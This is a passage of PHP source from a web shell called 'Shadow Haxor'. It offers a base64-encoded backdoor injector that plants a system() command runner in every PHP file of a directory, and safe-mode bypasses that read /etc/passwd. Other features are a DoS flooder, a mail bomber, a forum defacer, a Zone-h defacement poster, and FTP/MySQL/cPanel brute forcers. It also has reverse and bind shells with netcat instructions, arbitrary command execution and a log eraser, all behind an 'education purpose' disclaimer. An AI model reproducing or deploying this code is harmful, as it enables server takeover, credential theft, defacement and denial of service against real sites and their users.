3108 <td style="width:10%;">From</td>
3109 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3110 </tr>
3111
3112 <tr>
3113 <td style="width:20%;">To</td>
3114 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
3115 </tr>
3116
3117 <tr>
3118 <td style="width:20%;">Subject</td>
3119 <td style="width:80%;"><input type="text" class="box" name="subject" value="D4RK Here!!" onFocus="if(this.value == 'D4RK Here!!')this.value = '';" onBlur="if(this.value=='')this.value='D4RK Here!!';" /></td>
3120 </tr>
3121
3122
3123 <tr>
3124 <td colspan="2">
3125 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is D4RK!!!</textarea>
3126 </td>
3127 </tr>
3128
3129
3130 <tr>
3131 <td rowspan="2">
3132 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3133 </td>
3134 </tr>
3135 </table>
3136 </form></div>
3137 <?php
3138}
3139// Get Domains
3140else if(isset($_REQUEST["symlinkserver"]))
3141{
3142 ?>
3143 <center><table><tr>
3144 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3145 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3146 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3147 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3148 </tr></table></center><br>
3149 <div id="showdata"></div><?php
3150}
3151// Forum Manager
3152else if(isset($_REQUEST["forum"]))
3153{ ?>
3154 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3155 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3156 </tr></table></center><br><div id="showdata"></div>
3157 <?php
3158}
3159// Sec info
3160else if(isset($_GET['secinfo']))
3161{ ?><div id=showdata></div>
3162<center><div id="showmydata"></div>
3163</center>
3164<br><center><font color =red size=5>Server security information</font><br><br></center>
3165 <table style="width:100%;border-color:#333333;" border="1">
3166 <tr>
3167 <td style="width:7%;">Curl</td>
3168 <td style="width:7%;">Oracle</td>
3169 <td style="width:7%;">MySQL</td>
3170 <td style="width:7%;">MSSQL</td>
3171 <td style="width:7%;">PostgreSQL</td>
3172 <td style="width:12%;">Open Base Directory</td>
3173 <td style="width:10%;">Safe_Exec_Dir</td>
3174 <td style="width:7%;">PHP Version</td>
3175 <td style="width:7%;">Magic Quotes</td>
3176 <td style="width:7%;">Server Admin</td>
3177 </tr>
3178 <tr>
3179 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3180 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3181 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3182 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3183 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3184 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3185 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
3186 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3187 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3188 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3189 </tr>
3190</table><br> <?php
3191 mysecinfo();
3192}
3193// Code Injector
3194
3195else if(isset($_GET['injector']))
3196{
3197 ?>
3198 <form method='POST'>
3199 <table id="margins">
3200 <tr>
3201 <td width="100" class="title">
3202 Directory
3203 </td>
3204 <td>
3205 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
3206 </td>
3207
3208 </tr>
3209 <tr>
3210 <td class="title">
3211 Mode
3212 </td>
3213 <td>
3214 <select style="width: 400px;" name="mode" class="box">
3215 <option value="Apender">Apender</option>
3216 <option value="Overwriter">Overwriter</option>
3217 </select>
3218 </td>
3219 </tr>
3220 <tr>
3221 <td class="title">
3222 File Type
3223 </td>
3224 <td>
3225 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3226 </td>
3227 </tr>
3228 <tr>
3229 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3230 </tr>
3231
3232 <tr>
3233 <td colspan="2">
3234 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3235 </td>
3236 </tr>
3237 <tr>
3238 <td rowspan="2">
3239 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3240 </td>
3241 </tr>
3242 </form>
3243 </table><div id="showinject"</div>
3244 <?php
3245}
3246// Bypass
3247else if(isset($_GET["bypass"]))
3248{
3249 ?><center><div id="showbyp"></div></center>
3250 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3251 <tr>
3252 <td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
3253 </tr>
3254 <tr>
3255 <td align="center">
3256 <p>Using copy() function</p>
3257 <form onSubmit="bypassfun('copy',copy.value);return false;">
3258 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3259 </form>
3260 </td>
3261 <td align="center">
3262 <p>Using imap() function</p>
3263 <form onSubmit="bypassfun('imap',imap.value);return false;">
3264 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3265 </form>
3266 </td>
3267 </tr>
3268
3269 <tr>
3270 <td align="center">
3271 <p>Using sql() function</p>
3272 <form onSubmit="bypassfun('sql',sql.value);return false;">
3273 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3274 </form>
3275 </td>
3276 <td align="center">
3277 <p>Using Curl() function</p>
3278 <form onSubmit="bypassfun('curl',curl.value);return false;">
3279 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3280 </form>
3281 </td>
3282 </tr>
3283
3284 <tr>
3285 <td align="center">
3286 <p>Bypass using include()</p>
3287 <form onSubmit="bypassfun('include',include.value);return false;">
3288 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3289 </form>
3290 </td>
3291 <td align="center">
3292 <p>Using id() function</p>
3293 <form onSubmit="bypassfun('id',id.value);return false;">
3294 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3295 </form>
3296 </td>
3297 </tr>
3298
3299 <tr>
3300 <td align="center">
3301 <p>Using tempnam() function</p>
3302 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3303 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3304 </form>
3305 </td>
3306 <td align="center">
3307 <p>Using symlink() function</p>
3308 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3309 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3310 </form>
3311 </td>
3312 </tr>
3313 <tr>
3314 <td colspan=2 align="center">
3315 <p>Using Bypass function</p>
3316 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3317 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3318 <select id="optiontype" class=sbox>
3319 <option value="tac">tac</option>
3320 <option value="more">more</option>
3321 <option value="less">less</option>
3322 <option value="rev">rev</option>
3323 <option value="xxd">xxd</option>
3324 </select>
3325 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3326 </form>
3327 </td>
3328 </tr>
3329 </table>
3330 </form>
3331 <?php
3332}
3333//fuzzer
3334else if(isset($_GET['fuzz']))
3335{
3336 ?>
3337 <form method="GET">
3338 <table id="margins">
3339 <tr>
3340 <td width="400" class="title">
3341 IP
3342 </td>
3343 <td>
3344 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3345 </td>
3346 </tr>
3347
3348 <tr>
3349 <td class="title">
3350 Port
3351 </td>
3352 <td>
3353 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3354 </td>
3355 </tr>
3356
3357 <tr>
3358 <td class="title">
3359 Timeout
3360 </td>
3361 <td>
3362 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3363 </td>
3364 </tr>
3365
3366
3367 <tr>
3368 <td class="title">
3369 No of times
3370 </td>
3371 <td>
3372 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3373 </td>
3374 </tr>
3375
3376 <tr>
3377 <td class="title">
3378 Message (The message Should be long and it will be multiplied with the value after it)
3379 </td>
3380 <td>
3381 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3382 </td>
3383 <td>
3384 x
3385 </td>
3386 <td width="20">
3387 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3388 </td>
3389 </tr>
3390
3391 <tr>
3392 <td rowspan="2">
3393 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3394 </td>
3395 </tr>
3396 </table>
3397 </form><div id="showdos"></div>
3398 <?php
3399}
3400// Zone-h Poster
3401 else if(isset($_GET["zone"]))
3402 {
3403 if(!function_exists('curl_version'))
3404 {
3405 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3406 }
3407 ?>
3408 <center><font size="4" color="#FF0000">Zone-h Poster</font></center>
3409 <form action="<?php echo $self; ?>" method="post">
3410 <table align="center" cellpadding="5" border="0">
3411 <tr>
3412 <td>
3413 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3414 <tr><td>
3415 <select name="hackmode" class="box">
3416 <option >--------SELECT--------</option>
3417 <option value="1">known vulnerability (i.e. unpatched system)</option>
3418 <option value="2" >undisclosed (new) vulnerability</option>
3419 <option value="3" >configuration / admin. mistake</option>
3420 <option value="4" >brute force attack</option>
3421 <option value="5" >social engineering</option>
3422 <option value="6" >Web Server intrusion</option>
3423 <option value="7" >Web Server external module intrusion</option>
3424 <option value="8" >Mail Server intrusion</option>
3425 <option value="9" >FTP Server intrusion</option>
3426 <option value="10" >SSH Server intrusion</option>
3427 <option value="11" >Telnet Server intrusion</option>
3428 <option value="12" >RPC Server intrusion</option>
3429 <option value="13" >Shares misconfiguration</option>
3430 <option value="14" >Other Server intrusion</option>
3431 <option value="15" >SQL Injection</option>
3432 <option value="16" >URL Poisoning</option>
3433 <option value="17" >File Inclusion</option>
3434 <option value="18" >Other Web Application bug</option>
3435 <option value="19" >Remote administrative panel access bruteforcing</option>
3436 <option value="20" >Remote administrative panel access password guessing</option>
3437 <option value="21" >Remote administrative panel access social engineering</option>
3438 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3439 <option value="23" >Access credentials through Man In the Middle attack</option>
3440 <option value="24" >Remote service password guessing</option>
3441 <option value="25" >Remote service password bruteforce</option>
3442 <option value="26" >Rerouting after attacking the Firewall</option>
3443 <option value="27" >Rerouting after attacking the Router</option>
3444 <option value="28" >DNS attack through social engineering</option>
3445 <option value="29" >DNS attack through cache poisoning</option>
3446 <option value="30" >Not available</option>
3447 </select>
3448 </td></tr>
3449 <tr><td>
3450 <select name="reason" class="box">
3451 <option >--------SELECT--------</option>
3452 <option value="1" >Heh...just for fun!</option>
3453 <option value="2" >Revenge against that website</option>
3454 <option value="3" >Political reasons</option>
3455 <option value="4" >As a challenge</option>
3456 <option value="5" >I just want to be the best defacer</option>
3457 <option value="6" >Patriotism</option>
3458 <option value="7" >Not available</option>
3459 </select></td></tr>
3460 <tr><td>
3461 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3462 <tr><td>
3463 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3464 </form><div id="showzone"></div>
3465 <?php }
3466//DDos
3467 else if(isset($_GET['dos']))
3468 {
3469 ?>
3470 <form method="GET">
3471 <table id="margins">
3472 <tr>
3473 <td width="400" class="title">
3474 IP
3475 </td>
3476 <td>
3477 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3478 </td>
3479 </tr>
3480
3481 <tr>
3482 <td class="title">
3483 Port
3484 </td>
3485 <td>
3486 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3487 </td>
3488 </tr>
3489
3490 <tr>
3491 <td class="title">
3492 Timeout <font >(Time in seconds)</font>
3493 </td>
3494 <td>
3495 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3496 </td>
3497 </tr>
3498 <tr>
3499 <td class="title">
3500 Execution Time <font >(Time in seconds)</font>
3501 </td>
3502 <td>
3503 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3504 </td>
3505 </tr>
3506 <tr>
3507 <td class="title">
3508 No of Bytes per/packet
3509 </td>
3510 <td>
3511 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3512 </td>
3513 </tr>
3514 <tr>
3515 <td rowspan="2">
3516 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
3517 </td>
3518 </tr>
3519 </table>
3520 </form><div id="showdos"></div>
3521 <?php
3522}
3523else if(isset($_GET['mailbomb']))
3524{ ?>
3525 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
3526 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
3527<?php
3528}
3529else if(isset($_GET['tools']))
3530 {
3531 ?>
3532 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
3533 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
3534 <tr>
3535 <td colspan="2" align="center"><b><font size='4' color="#FF0000">Port Scanner<br></font></b></td>
3536 </tr>
3537 <tr>
3538 <td align="center">
3539 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
3540 </td>
3541 <td align="center">
3542 <select class="sbox" name='protocol'>
3543 <option value='tcp'>tcp</option>
3544 <option value='udp'>udp</option>
3545 </select>
3546 </td>
3547 <tr>
3548 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
3549 </tr>
3550 </form>
3551 <tr><td colspan=2><div id="showports"></div>
3552 </td></tr></table>
3553
3554 <br>
3555 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
3556 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
3557 <tr>
3558 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
3559 </tr>
3560 <tr>
3561 <td>Type : </td>
3562 <td>
3563 <select name="prototype" class="sbox">
3564 <option value="ftp">FTP</option>
3565 <option value="mysql">MYSQL</option>
3566 <option value="postgresql">PostgreSql</option>
3567 </select>
3568 </td>
3569 </tr>
3570 <tr>
3571 <td>Server <b>:</b> Port : </td>
3572 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
3573 </tr>
3574 <tr>
3575 <td valign="middle">Brute type : </td>
3576 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
3577 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
3578 Login : <input type="text" name="login" value="root" class="sbox"><br>
3579 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
3580 </td>
3581 </tr>
3582 <tr>
3583 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
3584 </tr>
3585 </form><tr><td colspan="2" id="showbrute"></td></tr>
3586 </table>
3587 </center><br>
3588 <?php
3589}
3590else if (isset($_GET["phpc"]))
3591{
3592 ?>
3593 <div id="showresult"></div>
3594 <form name="frm">
3595 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
3596 <br /><br />
3597 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
3598 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
3599 </form>
3600 <?php
3601}
3602else if(isset($_GET["exploit"]))
3603{
3604 if(!isset($_GET["rootexploit"]))
3605 {
3606 ?>
3607 <center>
3608 <form action="<?php echo $self; ?>" method="get" target="_blank">
3609 <input type="hidden" name="exploit">
3610 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
3611 <tr>
3612 <td style="height:60px;">
3613 <font size="4" class=txt>Select Website</font></td><td>
3614 <p><select id="rootexploit" name="rootexploit" class="box">
3615 <option value="exploit-db">Exploit-db</option>
3616 <option value="packetstormsecurity">Packetstormsecurity</option>
3617 <option value="exploitsearch">Exploitsearch</option>
3618 <option value="shodanhq">Shodanhq</option>
3619 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
3620 <input type="submit" value="Search" class="but"></td></tr></table>
3621 </form></center><br>
3622
3623 <?php
3624 }
3625 else
3626 {
3627 //exploit search
3628 $Lversion = php_uname(r);
3629 $OSV = php_uname(s);
3630 if(eregi('Linux',$OSV))
3631 {
3632 $Lversion=substr($Lversion,0,6);
3633 if($_GET['rootexploit'] == "exploit-db")
3634 {
3635 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
3636 }
3637 else if($_GET['rootexploit'] == "packetstormsecurity")
3638 {
3639 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
3640 }
3641 else if($_GET['rootexploit'] == "exploitsearch")
3642 {
3643 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
3644 }
3645 else if($_GET['rootexploit'] == "shodanhq")
3646 {
3647 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
3648 }
3649 }
3650 else
3651 {
3652 $Lversion=substr($Lversion,0,3);
3653 if($_GET['rootexploit'] == "exploit-db")
3654 {
3655 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
3656 }
3657 else if($_GET['rootexploit'] == "packetstormsecurity")
3658 {
3659 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
3660 }
3661 else if($_GET['rootexploit'] == "exploitsearch")
3662 {
3663 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
3664 }
3665 else if($_GET['rootexploit'] == "shodanhq")
3666 {
3667 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
3668 }
3669 }
3670 //End of Exploit search
3671 }
3672}
3673// Connect
3674else if(isset($_REQUEST['connect']))
3675{
3676 ?>
3677 <form action='<?php echo $self; ?>' method='POST' >
3678 <table style="width:50%" align="center" >
3679 <tr>
3680 <th colspan="1" width="50px">Reverse Shell</th>
3681 <th colspan="1" width="50px">Bind Shell</th>
3682 </tr>
3683 <tr>
3684 <td>
3685 <table style="border-spacing: 6px;">
3686 <tr>
3687 <td>IP </td>
3688 <td>
3689 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
3690 </td>
3691 </tr>
3692 <tr>
3693 <td>Port </td>
3694 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
3695 </tr>
3696 <tr>
3697 <td style="vertical-align:top;">Use:</td>
3698 <td><select style="width: 95px;" name="lang" class="sbox">
3699 <option value="perl">Perl</option>
3700 <option value="python">Python</option>
3701 <option value="php">PHP</option>
3702 </select>
3703 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
3704 </tr>
3705 </table> </form>
3706 </td>
3707
3708 <td style="vertical-align:top;">
3709 <form method='post' >
3710 <table style="border-spacing: 6px;">
3711 <tr>
3712 <td>Port</td>
3713 <td>
3714 <input style="width: 200px;" class="box" name="port" value="9891" />
3715 </td>
3716 </tr>
3717 <tr>
3718 <td>Password </td>
3719 <td>
3720 <input style="width: 200px;" class="box" name="passwd" value="D4RK"/>
3721 </td>
3722 <tr>
3723 <td>Using</td>
3724 <td>
3725 <select style="width: 95px;" name="lang" id="lang" class="sbox">
3726 <option value="perl">Perl</option>
3727 <option value="c">C</option>
3728 </select>
3729 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
3730 </tr>
3731 </table>
3732 </td>
3733 </form>
3734 </tr>
3735 <tr><td colspan=2><font color="#FF0000">Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</font></td></tr>
3736 </table>
3737
3738 <?php
3739 }
3740
3741else if(isset($_REQUEST['404']))
3742{
3743 ?>
3744 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
3745 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
3746 </tr></table></center><br>
3747 <div id="showdata"></div>
3748 <?php
3749}
3750else if(isset($_GET['about']))
3751 { ?>
3752 <center>
3753 <p><font size=6><u>Shadow Haxor</u></font><br>
3754 <font size=5>~~~Coded By AsiF FaraBi~~~</font>
3755 <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>
3756
3757
3758 </pre></font></div></center>
3759 <font class="txt">Shadow Haxor shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To AsiF FaraBi</font><br></center><br>
3760 <?php }
3761else if(isset($_GET['database']))
3762{ ?>
3763 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
3764 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
3765 <tr>
3766 <td colspan="2">Connect To Database</td>
3767 </tr>
3768 <tr>
3769 <td>Server Address :</td>
3770 <td><input type="text" class="box" name="server" value="localhost"></td>
3771 </tr>
3772 <tr>
3773 <td>Username :</td>
3774 <td><input type="text" class="box" name="username" value="root"></td>
3775 </tr>
3776 <tr>
3777 <td>Password:</td>
3778 <td><input type="text" class="box" name="password" value=""></td>
3779 </tr>
3780
3781 <tr>
3782 <td></td>
3783 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
3784 </tr>
3785 </table>
3786 </form>
3787 <div id="showsql"></div>
3788<?php
3789}
3790// Cpanel Cracker
3791 else if(isset($_REQUEST['cpanel']))
3792 {
3793 $cpanel_port="2082";
3794 $connect_timeout=5;
3795 ?>
3796 <center>
3797 <form method=post>
3798 <table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
3799 <tr>
3800 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
3801 </tr>
3802 <tr>
3803 <td align=center>User names</td><td align=center>Password</td>
3804 </tr>
3805 <tr>
3806 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
3807 if($os != "Windows")
3808 {
3809 if(@file('/etc/passwd'))
3810 {
3811 $users = file('/etc/passwd');
3812 foreach($users as $user)
3813 {
3814 $user = explode(':', $user);
3815 echo $user[0] . "\n";
3816 }
3817 }
3818 else
3819 {
3820 $temp = "";
3821 $val1 = 0;
3822 $val2 = 1000;
3823 for(;$val1 <= $val2;$val1++)
3824 {
3825 $uid = @posix_getpwuid($val1);
3826 if ($uid)
3827 $temp .= join(':',$uid)."\n";
3828 }
3829
3830 $temp = trim($temp);
3831
3832 if($file5 = fopen("test.txt","w"))
3833 {
3834 fputs($file5,$temp);
3835 fclose($file5);
3836
3837 $file = fopen("test.txt", "r");
3838 while(!feof($file))
3839 {
3840 $s = fgets($file);
3841 $matches = array();
3842 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3843 $matches = str_replace("home/","",$matches[1]);
3844 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3845 continue;
3846 echo $matches;
3847 }
3848 fclose($file);
3849 }
3850 }
3851 }
3852
3853 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
3854 </tr>
3855 <tr>
3856 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
3857 </tr>
3858 <tr>
3859 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
3860 </tr>
3861 <tr>
3862 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
3863 </tr>
3864 </table>
3865 </form>
3866 </center>
3867 <?php
3868}
3869else if(isset($_REQUEST['malattack']))
3870{
3871 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3872 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
3873 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
3874 <div id="showdata"></div>
3875 <?php
3876}
3877else if(isset($_GET["com"]))
3878{
3879 echo "<br>";
3880 ob_start();
3881 eval("phpinfo();");
3882 $b = ob_get_contents();
3883 ob_end_clean();
3884 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
3885 $z = strpos($b,"</body>");
3886 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
3887 echo $s_result;
3888}
3889else if(isset($_GET['execute']))
3890{
3891 $comm = $_GET['execute'];
3892 chdir($_GET['executepath']);
3893 $check = shell_exec($comm);
3894
3895 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3896
3897 ?>
3898 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
3899 <input type="text" class="box" name="execute">
3900 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
3901 <?php
3902}
3903else if(isset($_GET['mycmd']))
3904{
3905 if($_GET['mycmd']=="logeraser")
3906 {
